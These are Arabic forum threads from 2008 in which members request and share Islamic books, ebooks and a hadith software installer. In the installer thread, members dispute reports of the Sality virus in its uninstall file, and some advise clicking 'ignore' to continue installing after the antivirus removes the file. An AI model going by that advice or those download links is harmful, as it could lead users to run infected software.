أبحث عن كتاب "الإسلام بين العلماء والحكام" لعبد العزيز البدري رحمه الله
ـ[ Aboibrahim] ــــــــ[03 - 10 - 08, 08:22 م]ـ
بحثت الكتاب ولم أجده، أمل المساعدة جزاكم الله خيرا.
ـ[ماجد المسلم]ــــــــ[03 - 10 - 08, 09:15 م]ـ
الكتاب موجود لدي وإن شاء الله سأصوره إن لم يسبقني إلى ذلك أحد من اخوتنا
ـ[ Aboibrahim] ــــــــ[04 - 10 - 08, 12:39 ص]ـ
يبدو والله أعلم أنه لم يسبقك أحد، لأنني بحثت عنه في الشبكة ولم أجده أيضاً، فاستعن بالله و ابدأ التصوير:)
ـ[أحمد محمد بسيوني]ــــــــ[04 - 10 - 08, 01:01 ص]ـ
أخي الكريم
الكتاب طبعة دار القلم - الكويت
والكاتب من أبرز شخصيات حزب التحرير المعروف، وهو من الدعاة بمدينة بغداد، وقد قتله حزب البعث.
ذكرت ذلك للتنبيه، بارك الله فيك.
ـ[ Aboibrahim] ــــــــ[04 - 10 - 08, 04:45 ص]ـ
جزاك الله خيراً أخي الحبيب البسيوني، نعم هو عضو في ذلك الحزب ولكن لايعني ذلك أن نحكم على كتبه بالإعدام، الأمر لايعنينا بقدر انتشار صيت الكتاب وثناء العلماء على الشيخ رحمه الله كالشيخ سلمان العودة في محاضراته حيث قال
"يا شهيداً رفع الله به جبهة الحق على طول المدى سوف تبقى في الحنايا علماً هادياً للركب رمزاً للفدا ما نسينا أنت قد علمتنا بسمة المؤمن في وجه الردى إننا حين نذكر الإمام مالك، أو الإمام أحمد، أو ابن تيمية، أو عبد العزيز البدري، أو سيد قطب أو غيرهم"
المصدر: كتاب (إمام دار الهجرة) http://audio.islamweb.net/audio/index.php?page=Full*******&audioid=13770#119787
وقال أيضاً "والشيخ عبد العزيز البدري كان من علماء العراق، لهم مواقف مع الطغاة مشهورة معروفة، ولعلماء نجد في ذلك القدح المعلى، فقد كان لهم مواقف مشهورة محمودة في الأمر بالمعروف والنهي عن المنكر على المستوى الخاص وعلى المستوى العام"
المصدر: كتاب (العالم الشرعي بين الواقع والمثال) http://audio.islamweb.net/audio/index.php?page=Full*******&audioid=13908#120937
بل للشيخ سلمان قائمة كتب في العلوم الشرعية والدعوة والفكر "جدول علمي" ينصح بها طلبة العلم، تجد فيها هذا الكتاب أيضاً
http://www.islamtoday.net/articles/show_articles_*******.cfm?id=37&catid=69&artid=863
أحسن الظن بك أخي بسيوني، لكني نقلت ماذكر عن الشيخ لإزالة الرهبة من الإطلاع على كتابه، والأخوة في المنتدى نحسبهم والله حسيبهم على المعتقد والمنهج السلفي الصحيح ولا نزكي على الله أحدا.
ـ[أحمد محمد بسيوني]ــــــــ[04 - 10 - 08, 11:56 ص]ـ
بارك الله فيك، ما أردت إلا التنبيه كما ذكرتُ ذلك، وليس ذلك قدحا في أحد، والله يحفظني وإياك وإخواننا من كل سوء.
وجزاك الله خيرا على ما نقلته، وكذا على إحسانك الظن.
جمعني الله وإياك مع الحبيب محمد -صلى الله عليه وسلم- في جنته ودار مقامته.
ـ[أبو زارع المدني]ــــــــ[04 - 10 - 08, 12:46 م]ـ
بل للشيخ سلمان قائمة كتب في العلوم الشرعية والدعوة والفكر "جدول علمي" ينصح بها طلبة العلم، تجد فيها هذا الكتاب أيضاً
http://www.islamtoday.net/articles/show_articles_*******.cfm?id=37&catid=69&artid=863
.
الرابط لا يعمل أخي
لو رفعت القائمة هنا على الملتقى
ـ[أحمد محمد بسيوني]ــــــــ[04 - 10 - 08, 01:29 م]ـ
http://www.islamtoday.net/pen/show_articles_*******.cfm?id=37&catid=69&artid=863
هذا هو الرابط
بارك الله فيك
ـ[أحمد محمد بسيوني]ــــــــ[04 - 10 - 08, 01:33 م]ـ
الرابط لا يعمل أخي
لو رفعت القائمة هنا على الملتقى
هذا هو الجدول في ملف وورد
بارك الله فيك
ـ[كاتب]ــــــــ[04 - 10 - 08, 03:24 م]ـ
الكتاب موجود لدي وإن شاء الله سأصوره إن لم يسبقني إلى ذلك أحد من اخوتنا
جزاكم الله خيراً .. ونفع بكم ...
أبحثُ أيضاً عن الكتاب منذ مدة طويلة، ولم أجده، فلعلك تفيد إخوانك به، جعله الله في ميزان حسناتك ...
ـ[ Aboibrahim] ــــــــ[04 - 10 - 08, 03:56 م]ـ
أمين، وإياك يابسيوني وجميع الأخوة في المنتدى.
قد يتسائل الأخوة لماذا لاتعمل الروابط
لأن بعض المنتديات الأخرى تضع نصف مشاركة هنا والنصف الثاني في منتدياتهم لغرض الدعاية
لتلك المنتديات والله المستعان، فعطلت إدارة المنتدى الوصلات الخارجية للحد من تكاثر هذه الأعمال والله أعلم.
ـ[ماجد المسلم]ــــــــ[04 - 10 - 08, 04:37 م]ـ
أخي Aboibrahim جزاك الله خيراً
الرسائل عندك مغلقة ..
على كل حال, سأنتهي من تصويره غداً إن شاء الله ..
ـ[ Aboibrahim] ــــــــ[04 - 10 - 08, 06:07 م]ـ
وإياك، بارك الله لك في جهدك ووقتك وأعانك على فعل الخيرات ... أمين
حسناً يبدو أن كثرة الرسائل في الخزانة عطلت الرسائل الواردة، لكن مادمت ستنتهي قريباً منه فلا حاجة للرسالة سأترقب نزول الكتاب وجزاك الله خيرا.
ـ[كاتب]ــــــــ[06 - 10 - 08, 08:08 ص]ـ
الكتاب موجود لدي وإن شاء الله سأصوره إن لم يسبقني إلى ذلك أحد من اخوتنا
جزى الله الأخ ماجد خيراً ... ونفع به ...
وقد رفع الكتاب هنا
http://www.ahlalhdeeth.com/vb/showthread.php?t=149556
(يُتْبَع .. اقلب الصفحة)
(61/383)
ـ[ماجد المسلم]ــــــــ[07 - 10 - 08, 12:01 ص]ـ
واياكم أخي كاتب .. بارك الله فيك ..
لما أغلق الموضوع؟؟؟(61/384)
الآداب للبيهقي كتاب الكتروني رائع
ـ[أحمد أبوالمعاطي]ــــــــ[03 - 10 - 08, 11:51 م]ـ
الآداب للبيهقي كتاب الكتروني رائع
http://img263.imageshack.us/img263/6243/get620077ymlhpr1nm5.gif
الآدابُ للبَيْهَقيّ
الإمام الحافظ أبوبكر أحمد بن الحسين بن علي بن موسي
البيهقي
أبو بكر أحمد بن الحسين البيهقي كان فقيه شافعي الفارسية وحافظ كبير. كان معروفا بشيخ خرسان النيسابوري الخُسرَوجرْدي و خسروجرد (خسروگرد) قرية من ناحية بيهق. ولد في شعبان في سنة 384 هـ.
مشايخه ابو الحسن محمد بن الحسين العلوي و هو أكبر شيخ له و أبو طاهر الزيادي و أبو عبد الله الحاكم و هو من أجل أصحابه. و سمع من ابي بكر بن فورك و أخذ عنه علم الكلام و تبحر فيه. ومن مشايخه ابي علي الروذباري من مشاهير الصوفية و هلال الحفار و ابي الحسن بن بشران و أبي عبد الله بن لطيف و له أكثر من مائة شيخ .................
تلاميذه من تلاميذه ولده إسماعيل و حفيده عبد الله و زاهر بن وعبد الله الفراوي و عبد الجبار بن عبد الوهاب و غيرهم كثير.
سيرته كان البيهقي أوحد زمانه وأحد أئمة المسلمين حتى قيل فيه ان:ما من فقيه شافعي إلا وللشافعي عليه منة إلا أبا بكر البيهقي، فإن المنة له على الشافعي لتصانيفه في نصرة مذهبه و أقاويله. ولو شاء البيهقي أن يعمل لنفسه مذهبا يجتهد فيه، لكان قادرا على ذلك، لسعة علومه، ومعرفته بالاختلاف، ولهذا تراه يُلَّوح بنصر مسائل مما صح فيها الحديث.
مؤلفاته السنن الكبير في عشر مجلدات السنن والآثار في أربع مجلدات الأسماء والصفات في مجلدتين
• المعتقد مجلد البعث مجلد الترغيب والترهيب مجلد الدعوات مجلد الزهد مجلد الخلافيات ثلاث مجلدات
• نصوص الشافعي مجلدان دلائل النبوة أربع مجلدات السنن الصغير مجلد ضخم شعب الإيمان مجلدان
• المدخل إلى السنن مجلد الآداب مجلد فضائل الأوقات مجيليد الأربعين الكبرى مجيليد الأربعين الصغرى
• الرؤية" جزء الإسراء مناقب الشافعي مناقب أحمد مجلد فضائل الصحابة مجلد، و تواليفه تقارب ألف جزء مما لم يسبقه إليه أحد، جمع بين علم الحديث والفقه، وبيان علل الحديث، ووجه الجمع بين الأحاديث.
وفاته توفي في عاشر شهر جمادى الأولى، سنة ثمان وخمسين وأربع مائة فغسل وكفن، وعمل له تابوت، فنقل ودفن ببيهق، وهي ناحية قصبتُها خُسْرَوْجِرد، هي محتده، وهي على يومين من نيسابور، وعاش أربعا وسبعين سنة.
حجم الكتاب 1.0ميجابايت
http://img185.imageshack.us/img185/8906/tajmeel1yh6ps2.gif
http://i285.photobucket.com/albums/ll64/Abolmaaty/Movie1-3.gif
روابط التنزيل
http://uploads.bizhat.com/file/336399
أو
http://www.tafsir.org/vb/attachment.php?attachmentid=2014&d=1222173484
فلنتعاون في الله بنشره على مواقع أخرى
http://img267.imageshack.us/img267/8083/mod4uf8fb5.gif
الكتب الالكترونية الاسلامية ( http://adel-ebooks.mam9.com)
ـ[شبيب القحطاني]ــــــــ[04 - 10 - 08, 12:39 م]ـ
تقبل الله منا ومنكم
جزاكم الله خيرا
ـ[أحمد أبوالمعاطي]ــــــــ[05 - 10 - 08, 04:16 م]ـ
تقبل الله منا ومنكم
جزاكم الله خيرا
آمين. بارك الله فيكم وأكرمكم في الدنيا والآخرة
ـ[محمد دروش]ــــــــ[06 - 10 - 08, 11:58 ص]ـ
هل يوجد نفس الكتاب بصيغة بى دى أف على الشبكة؟
ـ[منير الجزائري]ــــــــ[10 - 10 - 08, 05:28 م]ـ
جزاك الله خيرا
ـ[حمدي هاشم]ــــــــ[10 - 10 - 08, 07:53 م]ـ
جزاك الله خيراً أخي الكريم، وأعانك على نشر العلم النافع بإذن الله، وعندي استفسار لك ولحميع الأخوة الكرام، هل استطيع الحصول على سنن الإمام البيهقي الكبرى على برنامج ورد. ارجو من أي أحد لديه معلومة عن تواجد هذا الكتاب أن يدلني عليه وله الشكر الجزيل.
والسلام عليكم ورحمة الله وبركاته(61/385)
فتح الشكور في معرفة أعيان علماء تكرور
ـ[العوضي]ــــــــ[03 - 10 - 08, 11:57 م]ـ
السلام عليكم ورحمة الله
إخوتي الأعزاء يسعدني أن أضع بين أيديكم رابطا لكتاب فتح الشكور في معرفة أعيان علماء تكرور لمؤلفه الطالب محمد بن أبي بكر الصديق البرتلي الولاتي وهو من نفائس كتب التراجم في هذه البلاد.
تضغط على الرابط
http://www.megaupload.com/?d=XE76WM3W
فتفتح لك نافذة مثل هذه
http://www.almashhed.com/vb/uploaded/16513_1222696794.jpg
تقوم بكتلبة الحروف الثلاثة في مقابل رأس السهم ثم تضغط على كلمة DOWNLOAD
بعد ذلك تفتح لك النافذة التالية
http://www.almashhed.com/vb/uploaded/16513_1222697127.jpg
تنتظر حتي يتوقف عد الثواني عند رأس السهم وتحل محله كلمة FREE DOWNLOAD فتضغط عليها فيتم تنزيل الملف علي جهازك علي الشكل RAR تستخدم بعد ذلك POWER ARCHIVER لفك ضغط الملف فتجدة ب PDF
منقول من منتدى المشهد الموريتاني(61/386)
فتح الشكور في معرفة أعيان علماء تكرور
ـ[العوضي]ــــــــ[03 - 10 - 08, 11:58 م]ـ
السلام عليكم ورحمة الله
إخوتي الأعزاء يسعدني أن أضع بين أيديكم رابطا لكتاب فتح الشكور في معرفة أعيان علماء تكرور لمؤلفه الطالب محمد بن أبي بكر الصديق البرتلي الولاتي وهو من نفائس كتب التراجم في هذه البلاد.
تضغط على الرابط
http://www.megaupload.com/?d=XE76WM3W
فتفتح لك نافذة مثل هذه
http://www.almashhed.com/vb/uploaded/16513_1222696794.jpg
تقوم بكتلبة الحروف الثلاثة في مقابل رأس السهم ثم تضغط على كلمة DOWNLOAD
بعد ذلك تفتح لك النافذة التالية
http://www.almashhed.com/vb/uploaded/16513_1222697127.jpg
تنتظر حتي يتوقف عد الثواني عند رأس السهم وتحل محله كلمة FREE DOWNLOAD فتضغط عليها فيتم تنزيل الملف علي جهازك علي الشكل RAR تستخدم بعد ذلك POWER ARCHIVER لفك ضغط الملف فتجدة ب PDF
منقول من منتدى المشهد الموريتاني(61/387)
الجامع للحديث النبوي آخر إصدار من الموقع الرسمي جربته الآن لا يحتاج إلى تفعيل ولا إلى سريال
ـ[أبو سلمى المغربي]ــــــــ[04 - 10 - 08, 12:10 ص]ـ
بسم الله والصلاة والسلام على رسول الله
السلام عليكم ورحمة الله وبركاته
بعد عودتي من السفر أول ما ركزت عليه هو الحصول على نسخة من البرنامج الممتع: الجامع للحديث النبوي الاصدار الأخير بدون تفعيل وكنت قبل شهور حملت الاصدار السابق الذي يتطلب التفعيل واتصال بالنيت عند كل تشغيل وفعلا الاصدار الجديد لا يتطلب تفعيلا ولا سريال ولا تشفير
شاهد صورة الإصدار الأخير لتقارن مع الذي لديك
http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=60011&d=1223065339
تمكنت من تحميله من الموقع الرسمي بعد تسجبل الدخول إليه وقد نصبته وجربته قبل قليل بنجاح والحمد لله وبارك الله في جهد الإخوة القائمين على تطويره فعما قريب سيدخلون عليه أحكام الشيخ العلامة الألباني والشيخ الأرنؤوط
حمله من هنا من سرفر الموقع الرسمي
للعلم أحيانا السرفر التحميل يكون مغلقا لكن قبل قليل حملت منه بنجاح
http://ftp2.sonnaonline.com/IHLSetup/Setup.part1.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part2.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part3.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part3.rar
خطوات تنزيل البرنامج
- يتم أولا تحميل الملفات الأربعة من خلال الضغط على
- ثم قم بفك أول ملف فقط من خلال برنامج (( Winrar)) ذا لم يتوفر لديك هذا البرنامج فحمل الاصدار العربي منه Arabic winrar
http://www.rarlab.com/rar/wrar380a.exe
- وابدأ منها التنصيب ( Setup.exe) افتح ملف
- بعد انتهاء خطوات التنصيب قم بتشغيل البرنامج
صورة لواجهة الاصدار الجديد في المرفقات ليتمكن الإخوة من مقارنة الاصدار الذي لديهم مع الحالي
ـ[أبو سلمى المغربي]ــــــــ[04 - 10 - 08, 12:36 ص]ـ
واجهة نتيجة البحت والمقارنة
ـ[ابو عبد المحسن]ــــــــ[04 - 10 - 08, 12:58 ص]ـ
السلام عليكم
يبدو أن الرابع مكرر للثالث
ـ[أبوعمرو المصري]ــــــــ[04 - 10 - 08, 02:11 ص]ـ
جزاكم الله خيرا، الرابط الثالث مكرر، والرابط الرابع ناقص وهذا هو:
http://ftp2.sonnaonline.com/IHLSetup/Setup.part4.rar
ـ[محمد الأمين]ــــــــ[04 - 10 - 08, 04:10 ص]ـ
هل لهذا البرنامج ميزات على الشاملة؟
ـ[أبو أكرم الحلبي]ــــــــ[04 - 10 - 08, 07:38 ص]ـ
جزاكم الله خيراً
سؤال حول هذه النسخة التي لا تحتاج لتفعيل أو ماشابه:
هل تم تفعيل خدمة الشيوخ والتلاميذ فيها؟!
ـ[محمد الاسلام]ــــــــ[04 - 10 - 08, 09:49 ص]ـ
نعم اخي
ـ[أبو عبد الله السني]ــــــــ[04 - 10 - 08, 10:12 ص]ـ
السلام عليكم ورحمة الله وبركاته
قد بشرتكم قبل العيد بأيام بنزول هذه النسخة
وهاهم الإخوة في إيجيكوم قد صدقونا الوعد
فليدع كل منا لهم
بالتوفيق والسداد
وليساهم كل منا معهم
بالنصح والإرشاد
أعانهم الله ووفقهم لكل خير
ـ[أبو عبد الرحمن العامري]ــــــــ[04 - 10 - 08, 10:53 ص]ـ
جزاكم الله خيرا
ـ[أبوياسين]ــــــــ[04 - 10 - 08, 05:50 م]ـ
اللهم أعنهم ووفقهم وأصلح بهم وعلى يدهم، واجعلهم للخيرات هداة،ولصالح الأعمال سباقين
ـ[علي الكناني]ــــــــ[04 - 10 - 08, 06:27 م]ـ
شكر الله لك
ورحم والديك
حملت البرنامج واشتغل عندي
لكن برنامج الحماية Mcafee
أظهر الرسالة التالية مكتشفاً فايروس
فهل هو فايروس فعلاً أو أنه ملف قرأه الربنامج على أنه فايروس؟
http://ali332.googlepages.com/virus.jpg
ـ[هشام جاسر محمد]ــــــــ[05 - 10 - 08, 12:05 ص]ـ
شكر الله لك
ورحم والديك
حملت البرنامج واشتغل عندي
لكن برنامج الحماية Mcafee
أظهر الرسالة التالية مكتشفاً فايروس
فهل هو فايروس فعلاً أو أنه ملف قرأه الربنامج على أنه فايروس؟
http://ali332.googlepages.com/virus.jpg
فعلا البرنامج ملوث بفيروس sality و هو فيروس خطير يمكنك في البداية من العمل بصورة اعتيادية ثم بعد وقت يكون قد لوّث جميع الملفات التنفيذية في جهازك و يصبح هو المسيطر على حاسوبك فيمنع أي تعديل على الريجيستر و بالتالي لا يسمح لك بتثبيت أي برنامج مضاد للفيروسات أو أي برنامج يحتاج إلى الريجستر أثناء تنصيبه. و هو يندس في كل مكان في الحاسوب في الملفات التنفيذية و حتى في الذاكرة الحية و الخفية ..
هو باختصار فيروس ضار جدا و قد كشفه كاسبرسكي و منعه من المرور و يكفي أن تطلب من كاسبرسكي إبادته ثم تضغط على "تجاهل" حتى يكتمل التنصيب بنجاح .. لكن المشكلة في عدم اكتشاف هذا الفيروس الخطير و تركه ينفذ إلى الجهاز.
ـ[محمود آل زيد]ــــــــ[05 - 10 - 08, 02:33 ص]ـ
جزاكم الله خير الجزاء وأوفاه،
وجعل هذا العمل في ميزان حسناتكم ...
من صنع، ومن رفع، ومن ساهم؛ سلسلة متصلة بالعمل لهذا الدين ...
ثم
الحمد لله رب العالمين ...
قام ( node anti vires ) بحذف الملف المصاب، أثناء التنصيب تلقائيًا،
وتم التنصيب بنجاح ...
ويبدو لي أن (مشكلة الفيروس) يستطيع أي مكافح للفيروسات (محدث) أن يتعامل معها بسهولة ...
فالحمد لله رب العالمين ...
(يُتْبَع .. اقلب الصفحة)
(61/388)
ـ[علي الكناني]ــــــــ[05 - 10 - 08, 02:51 ص]ـ
جزاك الله خيراً أخي هشام
برنامج مكافي أفاد حسب الصورة أنه تم إزالة الفايروس
هل يكفي ذلك؟
ـ[هشام جاسر محمد]ــــــــ[05 - 10 - 08, 02:40 م]ـ
جزاك الله خيراً أخي هشام
برنامج مكافي أفاد حسب الصورة أنه تم إزالة الفايروس
هل يكفي ذلك؟
نعم .. إن ظهرت لك رسالة خطإ و خيرك برنامج التثبيت بين التجاهل و المواصلة و إلغاء التنصيب فمعنى ذلك أن مضاد الفيروسات عندك قد أوقف الملف الملوث و منعه من اختراق جهازك .. ففي هذه الحالة يمكنك الضغط على "تجاهل" و إكمال التنصيب. و بحول الله لا وجود لخطر.
لكن يبقى التصرف على هذا النحو أمرا مؤقتا في انتظار التفطن لهذا الفيروس و إصلاح المشكلة من المصدر من طرف مصممي البرنامج.
ـ[عبد الرحمن أبو عبد الله]ــــــــ[05 - 10 - 08, 05:26 م]ـ
جزاكم الله خيرا
ـ[محمد الاسلام]ــــــــ[05 - 10 - 08, 07:46 م]ـ
لم يظهر عندي اي فيروس والحمد الله وقد فحصت البرنامج بالكاسبر سكاي ولم يظهر اي شئ ربما ماذكره الاخوه سببه من التنزيل او ماشابه لا اعلم
وننتظر منكم الافاده
ـ[أبو سلمى المغربي]ــــــــ[05 - 10 - 08, 08:57 م]ـ
جزاكم الله خيرا، الرابط الثالث مكرر، والرابط الرابع ناقص وهذا هو:
http://ftp2.sonnaonline.com/IHLSetup/Setup.part4.rar
أبا عمر المصري بارك الله فيك على التصحيح فعلا كان التكرار للثالث ونسيان الرابع خطأ مني
http://ftp2.sonnaonline.com/IHLSetup/Setup.part1.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part2.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part3.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part4.rar
هل لهذا البرنامج ميزات على الشاملة؟
نعم أخي محمد إذا تعلق الأمر بكتب الحديث فيمتاز على الشاملة ببعض الميزات التي ستكتشفها لكن الشاملة في طريقها إلى أن تضم كل هذه الكتب والميزات
جزاكم الله خيراً سؤال حول هذه النسخة التي لا تحتاج لتفعيل أو ماشابه: هل تم تفعيل خدمة الشيوخ والتلاميذ فيها؟!
نعم أخي خدمة الشيوخ والتلاميذ متوفرة في هذه النسخة انظر الصورة التي رفع لك
http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=60045&d=1223225516
ما عليك إلا أن تختار من الشريط الأعلى:بحث ثم:الرواة, فتظهر نافذة جديدة فتختار من البطاقات الثلاث بطاقة سند وتكتب اسم الراوي في الخانة المحددة ثم تنقر على بحث ثم في الأسفل تظهر لك قائمة بالأسماء المشابهة للراوي فتختار الراوي الذي تقصد ثم بعد ذلك تنقر على زر إضافة بعد أن حددت اسم الراوي فيظهر اسم الراوي مجددا يسارا في خدمة الشيوخ والتلاميذ وبعد ذلك تنقر على زر شيوخ فتظهر لك قائمة شيوخ الراوي في القائمة السفلى وإذا نقرت على زر تلاميذ فتتغير القائمة للتتحول إلى قائمة تلاميذ الراوي وإذا نقرت في القائمة على اسم تلميذ تظهر لك بعض التفاصيل عنه والله الموفق
شكر الله لك ورحم والديك حملت البرنامج واشتغل عندي لكن برنامج الحماية Mcafee أظهر الرسالة التالية مكتشفاً فايروس فهل هو فايروس فعلاً أو أنه ملف قرأه الربنامج على أنه فايروس؟ http://ali332.googlepages.com/virus.jpg
سؤالي أخي هل ظهرت لك رسالة التحذير من برنامج الحماية عند الفك أم عند التنصيب الغريب أن فحصت الملفات المضغوطة بعد التحميل وأيضا بعد الفك ببرنامج Kaspersky Internet Security 2009 فلم يعثر على الفيروس المذكور رغم أني رقيت برنامج الحماية وأيضا فحصت مجلد التنصيب كما فحصت قرص C فلم يعثر على أثر لفيروس sality وأيضا أثناء التنصيب لم تظهر لي أي رسالة تحذير انظر الصورة بعد الفحص http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=60046&d=1223225516 فلو عثرت عليه لقمت بإزالته ورفع الملفات على موقع آخر
السلام عليكم ورحمة الله وبركاته قد بشرتكم قبل العيد بأيام بنزول هذه النسخة وهاهم الإخوة في إيجيكوم قد صدقونا الوعد فليدع كل منا لهم بالتوفيق والسداد وليساهم كل منا معهم بالنصح والإرشاد أعانهم الله ووفقهم لكل خير
نعم أخي الكريم بشارتك السابقة قبل أيام هي التي دفعتني لتفقد موقهعم وتجربة الإصدار الجديد فبارك الله فيك وأحسن الله إليك وبارك الله في جهو إخواننا القائمني على تطوير البرنامج
فعلا البرنامج ملوث بفيروس sality و هو فيروس خطير يمكنك في البداية من العمل بصورة اعتيادية ثم بعد وقت يكون قد لوّث جميع الملفات التنفيذية في جهازك و يصبح هو المسيطر على حاسوبك فيمنع أي تعديل على الريجيستر و بالتالي لا يسمح لك بتثبيت أي برنامج مضاد للفيروسات أو أي برنامج يحتاج إلى الريجستر أثناء تنصيبه. و هو يندس في كل مكان في الحاسوب في الملفات التنفيذية و حتى في الذاكرة الحية و الخفية .. هو باختصار فيروس ضار جدا و قد كشفه كاسبرسكي و منعه من المرور و يكفي أن تطلب من كاسبرسكي إبادته ثم تضغط على "تجاهل" حتى يكتمل التنصيب بنجاح .. لكن المشكلة في عدم اكتشاف هذا الفيروس الخطير و تركه ينفذ إلى الجهاز.
أخي هشام ما اسم البرنامج الذي تستعمل ومتى ظهرت عندك رسالة التحذير هل أثناء التنصيب أم أثناء الفك فعندي لم يعثر الكسسبر سكي على الفيروس المذكور انظر الصورة http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=60046&d=1223225516
ك
(يُتْبَع .. اقلب الصفحة)
(61/389)
ـ[هشام جاسر محمد]ــــــــ[05 - 10 - 08, 09:41 م]ـ
الفيروس sality يظهر أثناء بداية التنصيب و هو يتعلق بملف واحد هو ملف إزالة البرنامج uninstall و الفيروس موجود و أنا أأكد هذا .. و من لم يكتشفه مضاد الفيروسات في جهازه فالسبب واضح و هو أن مضاد الفيروسات بدوره ملوث .. و أنا شخصبا أعرف الكثير عن هذا الفيروس اللعين لأني عانيت منه الكثير في وقت سابق .. و أنا أدعو الإخوة الذين لم يظهر عندهم الفيروس إلى التثبت من وضع الملفات الخفية في أجهزتهم، فمن علامات وجود هذا الفيروس أن ملفات السيستام و الملفات الخفية لا تظهر. و كذلك لا يمكنك التعامل مع الريحيستر بالتعديل أو التغيير .. علما و أن هذا الفيروس يمكنك لمدة طويلة من العمل على جهازك بصورة عادية و كأن شيئا لم يكن.
ـ[أبو عبد المعز]ــــــــ[05 - 10 - 08, 09:45 م]ـ
شكر الله لك
ورحم والديك
حملت البرنامج واشتغل عندي
لكن برنامج الحماية Mcafee
أظهر الرسالة التالية مكتشفاً فايروس
فهل هو فايروس فعلاً أو أنه ملف قرأه الربنامج على أنه فايروس؟
http://ali332.googlepages.com/virus.jpg
استعمل المكافي بآخر تحديثاته فلم يحذرني من شيء ... إلا أن يكون قد حذف الفيروس المفترض في صمت ..
لاحظت عند فك الضغط توقفا مريبا عند حدود 99 في المئة ... فهل يكون ذلك بسبب نشاط برنامج الحماية .. ؟
نرجو من الإخوة ذوي الخبرة الفصل في الموضوع ... فالبرنامج جيد ونريد أن نطمئن إليه ...
ـ[محمد الاسلام]ــــــــ[05 - 10 - 08, 09:53 م]ـ
بل تظهر عندي الملفات المخفية مثل MSOCache وغيرها
وقد فحصت البرنامج مرارا
نرجوا الافادة و يا اخي ان كان اكيد ماتقول فلما لم يظهر عندنا وما حكاية ان برنامج الحماية هو الاخر يمكن ان يكون ملوثا
ـ[محمد الاسلام]ــــــــ[05 - 10 - 08, 10:30 م]ـ
وايضا قمت الان بالتغيير في الريجيستر ولم اواجه اي مشكلة
اذن ماذا اخي العزيز
ـ[هشام جاسر محمد]ــــــــ[06 - 10 - 08, 12:02 ص]ـ
أرجو أن تكونوا محقين و أن أكون أنا المخطئ بخصوص الفيروس .. و آمل أن يكون البرنامج بدون فيروس. أنا أستعمل Kaspersky في آخر إصداراته و هو محين بتاريخ الأمس و قد حذف الملف الملوث و هو ملف إزالة البرنامج و بعدها تمت عملية التثبيت و البرنامج يعمل بكفاءة و لكن لا يمكنني حذفه بالطريقة المعهودة لأنّ ملف الحذف أزاله مضاد الفيروسات .. أنا لم أكن لأهتم بهذا الفيروس لو كان واحدا آخر غير sality .. أمّا هذا بالذات فأعرفه جيدا و عانيت منه كثيرا في شهر جويلية المنصرم .. و حتى بعد الفورماتاج بقي الفيروس في جهازي و اكتشفت بعد وقت أنه لوّث حتى القسم الخفي من الهارد ديسك و الذي يستعمله Acronis true image كمنطقة آمنة لاسترجاع النظام .. على كلّ أرجو أن أكون مخطئا و أن تكون ظنوني في غير محلها.
ـ[أبو سلمى المغربي]ــــــــ[06 - 10 - 08, 12:29 ص]ـ
أخي هشام جاسر محمد غريب والله أنا أيضا رقيت Kaspersky Internet Security 2009 اليوم وقمت بحذف الجامع عبر الوصلة الملحقة بالبرنامج:وصلة حذف الجامع للحديث النبوي أي UNINSTALL وحملته مرة أخرى من الروابط وركبته أخرى وكنت أراقب ما يجري فلم يعثر Kaspersky Internet Security 2009 على أي فيروس وهي عندي مفعل إلى السنة المقبلة ويعمل بكفائة بعد تحديثه على كل سأجرب العملية على جهاز آخر
ـ[محمد الاسلام]ــــــــ[06 - 10 - 08, 01:13 ص]ـ
اخي ربما بقي الفيروس عندك من شهر جولية المنصرم كما ذكرت انت
او اصابك مرة اخرى من المصدر السابق الذي تسبب به وتداخل بطريقه او اخرى مع البرنامج ربما
وننتظر من الاخوة جميعا الخبر اليقين
ـ[علي الكناني]ــــــــ[06 - 10 - 08, 08:00 ص]ـ
أخي أبو سلمى:
الفايروس ظهر لي عند بداية التنصيب
والبرنامج اكتمل تحميله وشغال على أحسن حال
ـ[أبو أنس الجزائري]ــــــــ[06 - 10 - 08, 09:05 ص]ـ
السلام عليكم
أنا أستمعل مكافح الفيروسات avast وأخبرني بوجود فيروس متعلق بملف حذف البرنامج، وذلك عند بداية تنصيب البرنامج.
ـ[أبو عبدالله الخليلي]ــــــــ[06 - 10 - 08, 10:44 ص]ـ
جزاكم الله خيرا وبارك فيكم
البرنامج فعلا ممتع ورائع جزى الله القائمين عليه خير الجزاء
ـ[أبو عبدالله الخليلي]ــــــــ[07 - 10 - 08, 12:28 ص]ـ
بارك الله فيكم
البرنامج به فعلا فيروس في ملف حذف البرنامج
والغريب أن البرنامج عمل كأحسن ما يكون على أحد الجهزة بعد حذف الفايروس ولم يعمل على جهاز آخر .. ربما بسبب اختلاف نسخة الكاسبر على كلا الجهازين
ـ[يونس1]ــــــــ[07 - 10 - 08, 05:16 ص]ـ
أخ الكريم قد حملناه منذ وقت في هذا المنتدى،ولا جديد.
ـ[إسلام بن منصور]ــــــــ[07 - 10 - 08, 06:30 ص]ـ
أخ الكريم قد حملناه منذ وقت في هذا المنتدى،ولا جديد.
كيف ذلك؟!
أليس هذا هو الإصدار الأخير من البرنامج.
كان أول إصدار بدون سريال، ولكن بغير درجة الشيخ الألباني.
والثاني بالسيريال مع درجة الشيخ.
وهذا الثالث بدون سيريال مع درجة الشيخ.
(يُتْبَع .. اقلب الصفحة)
(61/390)
ـ[محمد الاسلام]ــــــــ[07 - 10 - 08, 07:00 ص]ـ
مع خدمة شيوخ وتلاميذ الرواه ايضا
ـ[أبو عبد الرحمن الطاهر]ــــــــ[07 - 10 - 08, 08:41 ص]ـ
ولو رفعه أحد الإخوة على موقع آخر
لأنا لا نستطيع التحميل من ذا الموقع بسبب عطل
ـ[ saead] ــــــــ[07 - 10 - 08, 12:01 م]ـ
يبدو أن الروابط عاطلة أو مغلقة فهل من موقع آخر لرفعها
رجاءا عجلوا بالخير
ـ[ saead] ــــــــ[07 - 10 - 08, 03:11 م]ـ
أولا شكرا حملت البرنامج
